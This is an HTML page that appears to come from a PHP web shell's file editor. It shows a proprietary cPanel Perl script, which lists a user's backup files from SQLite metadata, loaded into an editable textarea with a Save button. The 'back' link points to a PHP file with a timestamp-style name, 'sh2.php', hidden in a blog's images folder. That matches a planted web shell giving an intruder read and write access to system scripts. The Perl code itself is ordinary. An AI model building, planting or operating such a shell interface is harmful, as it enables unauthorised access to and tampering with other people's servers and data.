<h2>Edit File - backups_list_user_files</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/backups_list_user_files">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/backups_list_user_files         Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

################################################################################

package scripts::backups_list_user_files;

use strict;
use warnings;

use Cpanel::Backup::Metadata ();
use Cpanel::DBI::SQLite      ();
use Getopt::Long             ();

################################################################################

Cpanel::Backup::Metadata::metadata_disabled_check(1);

################################################################################

sub _help {
    my ($msg) = @_;
    $msg //= &#039;&#039;;

    print qq{$msg

Usage:

$0 --user=user [--regexp=regexp]

user - is the name of the user files to list
regexp - is an optional regex to refine your file list
};

    exit 0;
}

sub _invalid_parms {
    _help();
    die &quot;Invalid Command Line Parameters\n&quot;;
}

our $user;
our $regexp;

sub generate_output {
    my ( $user, $regexp ) = @_;
    $regexp //= &#039;&#039;;

    my $meta_path = Cpanel::Backup::Metadata::get_metadata_filename($user);
    my $dbh       = Cpanel::DBI::SQLite-&gt;connect( { &#039;database&#039; =&gt; $meta_path } );

    # Get all the backup IDs and their paths
    my $sth     = $dbh-&gt;prepare(qq{SELECT backup_id,backup_path FROM backup_paths});
    my $results = $sth-&gt;execute();

    my @backups;
    while ( my $row = $sth-&gt;fetchrow_arrayref() ) {
        push @backups, { &#039;id&#039; =&gt; $row-&gt;[0], &#039;path&#039; =&gt; $row-&gt;[1] };
    }

    # type == 0 uncompressed
    # type == 1 compressed
    # type == 2 incremental
    # type == 3 other

    foreach my $backup (@backups) {

        # Get basedir with date by stripping /accounts/
        $backup-&gt;{&#039;path&#039;} =~ s/\/accounts$//;

        my $ref = Cpanel::Backup::Metadata::load_master_meta( $backup-&gt;{&#039;path&#039;} );

        if ( defined( $ref-&gt;{&#039;backup_type&#039;} ) and $ref-&gt;{&#039;backup_type&#039;} eq &#039;ERROR&#039; ) {

            # print &quot;Could not load .master.meta from &quot; . $backup-&gt;{&#039;path&#039;} . &quot;/accounts/\n&quot;; # This would be a good case for adding a debugging/verbose flag to this script
            next;
        }
        my $backup_type_text = Cpanel::Backup::Metadata::get_backup_type_text( $ref-&gt;{&#039;users&#039;}{$user}{&#039;backup_type&#039;} );
        my $full_path_to_backup;
        if ( $ref-&gt;{&#039;users&#039;}{$user}{&#039;backup_type&#039;} == 0 ) {
            $full_path_to_backup = $backup-&gt;{&#039;path&#039;} . &#039;/accounts/&#039; . $user . &#039;.tar&#039;;
        }
        elsif ( $ref-&gt;{&#039;users&#039;}{$user}{&#039;backup_type&#039;} == 1 ) {
            $full_path_to_backup = $backup-&gt;{&#039;path&#039;} . &#039;/accounts/&#039; . $user . &#039;.tar.gz&#039;;
        }
        elsif ( $ref-&gt;{&#039;users&#039;}{$user}{&#039;backup_type&#039;} == 2 ) {
            $full_path_to_backup = $backup-&gt;{&#039;path&#039;} . &#039;/accounts/&#039; . $user;
        }
        else {
            $full_path_to_backup = &#039;&#039;;
        }

        my $resolution_query = &lt;&lt;END;
SELECT
    b.backup_path,
    f.size,
    s.path,
    f.mtime,
    f.operation,
    f.type
FROM file_changes AS f
JOIN seen_files AS s ON f.seen_files_id = s.file_id
JOIN backup_paths AS b ON f.backup_id = b.backup_id
WHERE f.backup_id &lt;= ?
GROUP BY path
HAVING operation != ?
ORDER BY s.path ASC
END

        my $sth = $dbh-&gt;prepare($resolution_query);
        $sth-&gt;execute( $backup-&gt;{&#039;id&#039;}, $Cpanel::Backup::Metadata::REMOVE_OPERATION );
        while ( my $row = $sth-&gt;fetchrow_arrayref() ) {
            my ( $bu_path, $size, $path, $mtime, $operation, $file_type ) = @{$row};
            my $full_path_to_backup_file;
            if ($regexp) {
                next if $path !~ m/$regexp/;
            }

            if ( $ref-&gt;{&#039;users&#039;}{$user}{&#039;backup_type&#039;} == 2 ) {
                $full_path_to_backup_file = $full_path_to_backup . &#039;/homedir&#039; . $path;
            }
            else {
                $full_path_to_backup_file = $full_path_to_backup;
            }

            my $file_type_text = Cpanel::Backup::Metadata::get_file_type_text($file_type);
            print &#039;&quot;&#039; . gmtime($mtime) . &#039;&quot;,&#039; . $size . &#039;,&#039; . $backup_type_text . &#039;,&#039; . &#039;&quot;&#039; . $path . &#039;&quot;&#039; . &#039;,&quot;&#039; . $full_path_to_backup_file . &#039;&quot;,&#039; . $file_type_text . &quot;\n&quot;;

        }

    }

    return;
}

sub script {
    my (@args) = @_;

    my $opts = Getopt::Long::GetOptionsFromArray(
        \@args,
        &#039;user=s&#039;   =&gt; \$user,
        &#039;regexp=s&#039; =&gt; \$regexp,
    ) or _invalid_parms();

    _help(&quot;no user provided&quot;) if !$user;

    generate_output( $user, $regexp );

    return 1;
}

exit( script(@ARGV) ? 0 : 1 ) unless caller();
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>